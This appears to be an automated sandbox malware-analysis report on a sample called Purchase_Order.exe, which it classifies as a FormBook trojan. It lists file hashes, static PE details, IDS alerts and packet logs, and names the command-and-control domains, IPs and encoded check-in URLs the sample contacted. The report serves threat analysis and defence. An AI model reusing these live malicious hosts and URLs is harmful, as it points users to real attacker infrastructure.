156.241.53.127	www.cgjanvier.com	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
213.186.33.5	www.prltoday.com	France	16276	OVHFR	true
160.16.235.37	paolograssino.com	Japan	9370	SAKURA-BSAKURAInternetIncJP	true
172.67.155.26	www.a-prime-india-demataccount.zone	United States	13335	CLOUDFLARENETUS	true
34.102.136.180	toolbnbapp.com	United States	15169	GOOGLEUS	false
45.140.167.161	www.trainup-wall.com	United Kingdom	29182	THEFIRST-ASRU	true
184.168.131.241	flockuplabs.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true
162.241.253.69	mexicobeachselfstorage.com	United States	46606	UNIFIEDLAYER-AS-1US	true
151.101.0.119	www.gorditasdemaiz.com	United States	54113	FASTLYUS	true
104.21.64.212	www.culturalinterface.net	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	433266
Start date:	11.06.2021
Start time:	15:00:21
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Purchase_Order.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@7/1@13/10
EGA Information:	Failed
HDC Information:	Successful, ratio: 62.1% (good quality ratio 56.8%) Quality average: 73.2% Quality standard deviation: 30.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 102 Number of non-executed functions: 161
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 204.79.197.200, 13.107.21.200, 52.255.188.83, 104.42.151.234, 92.122.145.220, 184.30.20.56, 20.82.209.183, 2.20.142.209, 2.20.142.210, 20.190.160.8, 20.190.160.67, 20.190.160.6, 20.190.160.2, 20.190.160.129, 20.190.160.136, 20.190.160.132, 20.190.160.71, 92.122.213.247, 92.122.213.194, 20.54.7.98, 20.54.26.129 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, www.tm.lg.prod.aadmsa.akadns.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, login.live.com, www-bing-com.dual-a-0001.a-msedge.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, www.tm.a.prd.aadg.akadns.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, login.msa.msidentity.com, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
15:01:14	API Interceptor	83x Sleep call for process: Purchase_Order.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
213.186.33.5	Payment slip.exe	Get hash	malicious	Browse	www.lebigconcours.com/3edq/?2dUX-PAP=c8gg2kDsKkY9JoWcOJXGZzy/zRsju88ib1/w1WqO+PGwvG3GHLTzoABLAeo737h+ZhVc&D6Otan=1bu800r
	Shipping Draft Doc.exe	Get hash	malicious	Browse	www.geraldineprofit.com/ajsp/?m2MXt=mX3FC0rWOmZLwh4qbfvKXGX9RdF3hnuYXE+OWqE17ZQMzXMEP9+qCOq0VSXzZEPsPtF9&g6bX=7nfxC0PhW
	Payment_Advice.exe	Get hash	malicious	Browse	www.prltoday.com/uqf5/?9rw=F/Xh9v+g7Cdwl5upkcpMZ8e4b+3WpLzzeVKIM3R3duzbf3evtWksiEg580fE4Vra9h2o&s6=bPYXfd3Xq0VHDp
	statement.exe	Get hash	malicious	Browse	www.economiemalin.com/s5cm/?jZVXl=ejtPsXeQXSJB05Sij4NQ5TV7+3Vt2QhSAwzNEAtOIN6S2xaseggAFHdmewkBggS6qKyN&t6AdVb=NdfHc4_xG2JHQlV
	1092991(JB#082).exe	Get hash	malicious	Browse	www.lebigconcours.com/3edq/?JfEt9j6h=c8gg2kDsKkY9JoWcOJXGZzy/zRsju88ib1/w1WqO+PGwvG3GHLTzoABLAeo737h+ZhVc&ojn0d=RzuliD
	OUTSTANDING PAYMENT REMINDER.exe	Get hash	malicious	Browse	www.poacolors.com/ngvm/?FPWhHFq=8TcJTBzsK+HhuKYXehH9492pDxzGvvxdxfrG/qrl9m6Ckg/etRlY8SCi3gsL+m2BF2U4&Bj=lHL8SXfh3Ju
	ZEtvKwfrmf.exe	Get hash	malicious	Browse	www.hunab.tech/a8si/?ndiHKd=R2Mdy&Jdvd=faV7garRSu7JiSdjFrXmcIZZ3FAmdB/GT7EG2sZeIe9fZGAKSSr6iowPvTsgHFLaJTVrUqirQA==
	invoice.exe	Get hash	malicious	Browse	www.lebigconcours.com/3edq/?URZh=c8gg2kDsKkY9JoWcOJXGZzy/zRsju88ib1/w1WqO+PGwvG3GHLTzoABLAdIr4axGHE8b&jL30vv=afhhplx
	1bb71f86_by_Libranalysis.exe	Get hash	malicious	Browse	www.saveursdelaferme.com/njhr/?_89pb=6BYgV36frgEPm4Bks1lvfbqyImS2+mAjTc1MWw0zm1TdS4XMIGEQigd8Qb1RKTDe9sQA&FPWl=Cd8tG
	correct invoice.exe	Get hash	malicious	Browse	www.economiemalin.com/s5cm/?Zh3XHBo=ejtPsXeQXSJB05Sij4NQ5TV7+3Vt2QhSAwzNEAtOIN6S2xaseggAFHdmezI7jh+Bp9TckTab0g==&Xv0Hzp=j0Dx
	PAYMENT INSTRUCTIONS COPY.exe	Get hash	malicious	Browse	www.economiemalin.com/s5cm/?l4s=idQL&FVntHje=ejtPsXeQXSJB05Sij4NQ5TV7+3Vt2QhSAwzNEAtOIN6S2xaseggAFHdmezI7jh+Bp9TckTab0g==
	SNBDBM2No4.exe	Get hash	malicious	Browse	www.novaquitaine-solidaire.com/et9g/?w0=4U5sRBKo3qDJNDI635oEnC3KQabibOMqkqUUwOxjTLMtlInI5GXOy7itNHn8aad3HlGmYgkDjQ==&7nuTA=T8HXOTYpSf
	4GGwmv0AJm.exe	Get hash	malicious	Browse	microstart.fr/.0wejmrx/?action=fbgen&v=110&crc=669
	APR SOA---- Worldwide Partner--WWP SC+SHA.PDF.exe	Get hash	malicious	Browse	www.novaquitaine-solidaire.com/o86d/?Sh=wK9hQdkhVQWgDCh8+dkduL3mY3KqrYWSQYD3kDydN3JlpNwOptAmUxldmuBb4nIT5fLk&2dqLW0=RXBPDPWx
	Wire transfer.exe	Get hash	malicious	Browse	www.ouvrirrestaurant.net/ca84/?BvI=TFQavLVBBQ5MAl0nGhgcmAPNNXUDTmBtP2ujrG6OtwDwmhnjgecl+//MMQVA/n6VgqZO&J690D=ej8PjzaXfDt
	Rio International LLC URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	Browse	www.novaquitaine-solidaire.com/o86d/?GPTl=wK9hQdkhVQWgDCh8+dkduL3mY3KqrYWSQYD3kDydN3JlpNwOptAmUxldmtty7n0rw8+y92HPuA==&BlB=O2JthfYxo
	payment.exe	Get hash	malicious	Browse	www.booster-tresorerie.com/ma3c/?tXcT=MXExT&Qzr=AEsqPnefOfqyUyQeHr0R41o7ooykHlvhqSjzuEoZYb4TETLbmk5XUDPZoclEVPdpRNDEu2OJKg==
	order drawing 101.exe	Get hash	malicious	Browse	www.booster-tresorerie.com/ma3c/?R2JlOJ=AEsqPnefOfqyUyQeHr0R41o7ooykHlvhqSjzuEoZYb4TETLbmk5XUDPZocpEGfRqIdDS&GV_P=8pDpKpNHoZ_dLx
	pending orders0308 D2101002610 pdf.exe	Get hash	malicious	Browse	www.navigateur-remunerateur.com/chue/
	Ac5RA9R99F.exe	Get hash	malicious	Browse	www.del-tekzen.com/evpn/?CZa4=v3ZDcR7pjvwz1UjDln28kRDl7qvPbzZbdIYAmpXghlqnmfKnmXU7bNFuexrDnWNoWbbs&CPWhW=C8eHk

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.gorditasdemaiz.com	Payment Advice.exe	Get hash	malicious	Browse	151.101.0.119
td-balancer-euw2-6-109.wixdns.net	3arZKnr21W.exe	Get hash	malicious	Browse	35.246.6.109
	QUOTE061021.exe	Get hash	malicious	Browse	35.246.6.109
	Sleek_Free.exe	Get hash	malicious	Browse	35.246.6.109
	619wGDCTZA.exe	Get hash	malicious	Browse	35.246.6.109
	DHL_AWB_NO#907853880911.exe	Get hash	malicious	Browse	35.246.6.109
	Payment receipt MT103.exe	Get hash	malicious	Browse	35.246.6.109
	919780-920390.exe	Get hash	malicious	Browse	35.246.6.109
	swift_08_06_21.exe	Get hash	malicious	Browse	35.246.6.109
	2990213.exe	Get hash	malicious	Browse	35.246.6.109
	03062021.exe	Get hash	malicious	Browse	35.246.6.109
	rtgs_pdf.exe	Get hash	malicious	Browse	35.246.6.109
	03062021.exe	Get hash	malicious	Browse	35.246.6.109
	SKMBT_C224307532DL23457845_Product Order doc.exe	Get hash	malicious	Browse	35.246.6.109
	Shipping Docs677.exe	Get hash	malicious	Browse	35.246.6.109
	Payment Advice.exe	Get hash	malicious	Browse	35.246.6.109
	SKMBT_C22421033008180 png.exe	Get hash	malicious	Browse	35.246.6.109
	swift.exe	Get hash	malicious	Browse	35.246.6.109
	Swift copy_9808.exe	Get hash	malicious	Browse	35.246.6.109
	Order756576747876874653.gz.exe	Get hash	malicious	Browse	35.246.6.109
	Product_Samples.exe	Get hash	malicious	Browse	35.246.6.109
www.a-prime-india-demataccount.zone	New Order.exe	Get hash	malicious	Browse	172.67.155.26
www.culturalinterface.net	New Order.exe	Get hash	malicious	Browse	172.67.187.224
	03062021.exe	Get hash	malicious	Browse	172.67.187.224
	Payment_Advice.exe	Get hash	malicious	Browse	104.21.64.212
	Payment Advice.exe	Get hash	malicious	Browse	104.21.64.212
	Payment Advice.exe	Get hash	malicious	Browse	104.21.64.212
www.trainup-wall.com	03062021.exe	Get hash	malicious	Browse	45.140.167.161
www.prltoday.com	Payment_Advice.exe	Get hash	malicious	Browse	213.186.33.5

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	ORDER-21611docx.exe	Get hash	malicious	Browse	87.98.245.48
	s6ljEIsdF3.exe	Get hash	malicious	Browse	176.31.95.228
	hb5swSGLBT.exe	Get hash	malicious	Browse	176.31.95.228
	CM0Q30sK3K.exe	Get hash	malicious	Browse	176.31.95.228
	zIrx1wUddJ.exe	Get hash	malicious	Browse	144.217.14.109
	8qdfmqz1PN.exe	Get hash	malicious	Browse	51.222.56.151
	New Order PO2193570O1.doc	Get hash	malicious	Browse	51.222.56.151
	New Order PO2193570O1.pdf.exe	Get hash	malicious	Browse	51.222.56.151
	Request For Quote.exe	Get hash	malicious	Browse	158.69.138.23
	payload.html	Get hash	malicious	Browse	145.239.131.60
	6VYNUalwUt.exe	Get hash	malicious	Browse	178.33.222.241
	New Inquiry.exe	Get hash	malicious	Browse	158.69.138.23
	New Order TL273723734533.pdf.exe	Get hash	malicious	Browse	51.222.56.151
	Requestforquote.exe	Get hash	malicious	Browse	158.69.138.23
	SecuriteInfo.com.Trojan.PackedNET.721.2973.exe	Get hash	malicious	Browse	149.202.83.171
	SecuriteInfo.com.Trojan.PackedNET.831.4134.exe	Get hash	malicious	Browse	51.210.201.99
	ORDER-6010.pdf.exe	Get hash	malicious	Browse	178.33.222.241
	U03c2doc.exe	Get hash	malicious	Browse	5.135.185.231
	PO.xlsx	Get hash	malicious	Browse	51.210.201.99
	ManyToOneMailMerge Ver 18.2.dotm	Get hash	malicious	Browse	79.137.68.187
XIAOZHIYUN1-AS-APICIDCNETWORKUS	lTAPQJikGw.exe	Get hash	malicious	Browse	156.241.53.161
	Letter 09JUN 2021.xlsx	Get hash	malicious	Browse	156.241.53.161
	bank details.exe	Get hash	malicious	Browse	156.224.66.89
	rtgs_pdf.exe	Get hash	malicious	Browse	103.44.89.157
	tzeEeC2CBA.exe	Get hash	malicious	Browse	156.241.53.161
	qXDtb88hht.exe	Get hash	malicious	Browse	156.255.140.216
	819780-820390.exe	Get hash	malicious	Browse	156.241.53.97
	ye4nYRzxJa.exe	Get hash	malicious	Browse	156.255.140.216
	6dTTv9IdCw.exe	Get hash	malicious	Browse	156.255.140.216
	Telex_Payment.exe	Get hash	malicious	Browse	156.241.53.223
	fMWJqYA8ae.exe	Get hash	malicious	Browse	156.255.140.216
	bbZdhGxjJW.exe	Get hash	malicious	Browse	156.255.140.216
	SKMBT_C224307532DL23457845_Product Order doc.exe	Get hash	malicious	Browse	154.207.58.172
	Invoice.exe	Get hash	malicious	Browse	156.224.66.89
	ENrFQVzLHE.exe	Get hash	malicious	Browse	156.255.140.216
	x86	Get hash	malicious	Browse	156.255.211.4
	Payment Advice-Pdf.exe	Get hash	malicious	Browse	156.241.53.2
	Ack0527073465.exe	Get hash	malicious	Browse	156.241.53.2
	Taisier Med Surgical Sutures.exe	Get hash	malicious	Browse	156.241.53.238
	sample products 1,2,&,4.exe	Get hash	malicious	Browse	156.234.115.167

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Purchase_Order.exe.log Download File
Process:	C:\Users\user\Desktop\Purchase_Order.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	5.344635889251176
Encrypted:	false
SSDEEP:	24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEg:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHV
MD5:	394E646B019FF472CE37EE76A647A27F
SHA1:	BD5872D88EE9CD2299B5F0E462C53D9E7040D6DA
SHA-256:	2295A0B1F6ACD75FB5D038ADE65725EDF3DDF076107AEA93E4A864E35974AE2A
SHA-512:	7E95510C85262998AECC9A06A73A5BF6352304AF6EE143EC7E48A17473773F33A96A2F4146446444789B8BCC9B83372A227DC89C3D326A2E142BCA1E1A9B4809
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.297638335921384
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Purchase_Order.exe
File size:	1532416
MD5:	4aa8159742becd97f9ecdda33798b065
SHA1:	775aee28c33102de8c4bdd45dd09821b717b8678
SHA256:	65c6621762bb1bb1589a4a58d4ab2d3fa7c02e581b217b86ed2ff51227d7565b
SHA512:	ab15ec93f68f355de7a6cb66c089f1956dd29c301dbdfa3145083cfb5c653c24083f9c01ed5398a2631e8c1a37ffcdae7b3b38b90c1836c29af2c72ef23e0366
SSDEEP:	24576:VENeBUdtwsEgws8e/z8YEoqSg5LlJfH6zMIDsxTt8ZnIYqmaGHB/7YaL:uwBUwsEgws8e5U/BldOpIY3rHBDYaL
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......`..............P.................. ........@.. ....................................@................................

File Icon


Icon Hash:	e0c6a169f4bed870

Static PE Info

General
Entrypoint:	0x54f9d2
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x60C3160F [Fri Jun 11 07:51:43 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14f980	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x150000	0x28354	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x17a000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x14f848	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x14d9d8	0x14da00	False	0.694698535266	data	7.38800218232	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x150000	0x28354	0x28400	False	0.599797408773	data	6.35218035715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x17a000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x1501a0	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x150618	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0
RT_ICON	0x1516d0	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0x153c88	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16384, next free block index 40, next free block 0, next used block 0
RT_ICON	0x157ec0	0x10828	dBase III DBT, version number 0, next free block index 40
RT_ICON	0x1686f8	0xf255	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x177960	0x5a	data
RT_VERSION	0x1779cc	0x396	big endian ispell hash file (?),
RT_MANIFEST	0x177d74	0x5da	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2015 Benz
Assembly Version	1.6.0.65
InternalName	AsAnyMarshaler.exe
FileVersion	1.6.0.65
CompanyName	Town and Country Convenience Stores
LegalTrademarks
Comments
ProductName	CDWorkFlow
ProductVersion	1.6.0.65
FileDescription	CDWorkFlow
OriginalFilename	AsAnyMarshaler.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/11/21-15:02:33.885599	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49730	80	192.168.2.7	162.241.253.69
06/11/21-15:02:33.885599	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49730	80	192.168.2.7	162.241.253.69
06/11/21-15:02:33.885599	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49730	80	192.168.2.7	162.241.253.69
06/11/21-15:02:39.242866	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49736	80	192.168.2.7	34.102.136.180
06/11/21-15:02:39.242866	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49736	80	192.168.2.7	34.102.136.180
06/11/21-15:02:39.242866	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49736	80	192.168.2.7	34.102.136.180
06/11/21-15:02:39.380529	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49736	34.102.136.180	192.168.2.7
06/11/21-15:02:44.697962	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49737	80	192.168.2.7	156.241.53.127
06/11/21-15:02:44.697962	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49737	80	192.168.2.7	156.241.53.127
06/11/21-15:02:44.697962	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49737	80	192.168.2.7	156.241.53.127
06/11/21-15:02:56.303221	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49739	104.21.64.212	192.168.2.7
06/11/21-15:03:01.563910	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49746	34.102.136.180	192.168.2.7
06/11/21-15:03:06.762138	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.7	45.140.167.161
06/11/21-15:03:06.762138	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.7	45.140.167.161
06/11/21-15:03:06.762138	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49752	80	192.168.2.7	45.140.167.161
06/11/21-15:03:13.179290	TCP	1201	ATTACK-RESPONSES 403 Forbidden	80	49753	160.16.235.37	192.168.2.7
06/11/21-15:03:23.700836	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49755	80	192.168.2.7	35.246.6.109
06/11/21-15:03:23.700836	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49755	80	192.168.2.7	35.246.6.109
06/11/21-15:03:23.700836	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49755	80	192.168.2.7	35.246.6.109

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 11, 2021 15:02:23.105751038 CEST	49724	80	192.168.2.7	213.186.33.5
Jun 11, 2021 15:02:23.164691925 CEST	80	49724	213.186.33.5	192.168.2.7
Jun 11, 2021 15:02:23.164932013 CEST	49724	80	192.168.2.7	213.186.33.5
Jun 11, 2021 15:02:23.166137934 CEST	49724	80	192.168.2.7	213.186.33.5
Jun 11, 2021 15:02:23.234405994 CEST	80	49724	213.186.33.5	192.168.2.7
Jun 11, 2021 15:02:23.234642029 CEST	49724	80	192.168.2.7	213.186.33.5
Jun 11, 2021 15:02:23.234913111 CEST	49724	80	192.168.2.7	213.186.33.5
Jun 11, 2021 15:02:23.292299032 CEST	80	49724	213.186.33.5	192.168.2.7
Jun 11, 2021 15:02:28.318073988 CEST	49729	80	192.168.2.7	151.101.0.119
Jun 11, 2021 15:02:28.364393950 CEST	80	49729	151.101.0.119	192.168.2.7
Jun 11, 2021 15:02:28.365627050 CEST	49729	80	192.168.2.7	151.101.0.119
Jun 11, 2021 15:02:28.365811110 CEST	49729	80	192.168.2.7	151.101.0.119
Jun 11, 2021 15:02:28.410748005 CEST	80	49729	151.101.0.119	192.168.2.7
Jun 11, 2021 15:02:28.514069080 CEST	80	49729	151.101.0.119	192.168.2.7
Jun 11, 2021 15:02:28.514094114 CEST	80	49729	151.101.0.119	192.168.2.7
Jun 11, 2021 15:02:28.514415979 CEST	49729	80	192.168.2.7	151.101.0.119
Jun 11, 2021 15:02:28.514532089 CEST	49729	80	192.168.2.7	151.101.0.119
Jun 11, 2021 15:02:28.559231997 CEST	80	49729	151.101.0.119	192.168.2.7
Jun 11, 2021 15:02:33.724452972 CEST	49730	80	192.168.2.7	162.241.253.69
Jun 11, 2021 15:02:33.885122061 CEST	80	49730	162.241.253.69	192.168.2.7
Jun 11, 2021 15:02:33.885230064 CEST	49730	80	192.168.2.7	162.241.253.69
Jun 11, 2021 15:02:33.885598898 CEST	49730	80	192.168.2.7	162.241.253.69
Jun 11, 2021 15:02:34.056637049 CEST	80	49730	162.241.253.69	192.168.2.7
Jun 11, 2021 15:02:34.064239025 CEST	80	49730	162.241.253.69	192.168.2.7
Jun 11, 2021 15:02:34.064285994 CEST	80	49730	162.241.253.69	192.168.2.7
Jun 11, 2021 15:02:34.064496994 CEST	49730	80	192.168.2.7	162.241.253.69
Jun 11, 2021 15:02:34.064538002 CEST	49730	80	192.168.2.7	162.241.253.69
Jun 11, 2021 15:02:34.225109100 CEST	80	49730	162.241.253.69	192.168.2.7
Jun 11, 2021 15:02:39.197911024 CEST	49736	80	192.168.2.7	34.102.136.180
Jun 11, 2021 15:02:39.240071058 CEST	80	49736	34.102.136.180	192.168.2.7
Jun 11, 2021 15:02:39.242655993 CEST	49736	80	192.168.2.7	34.102.136.180
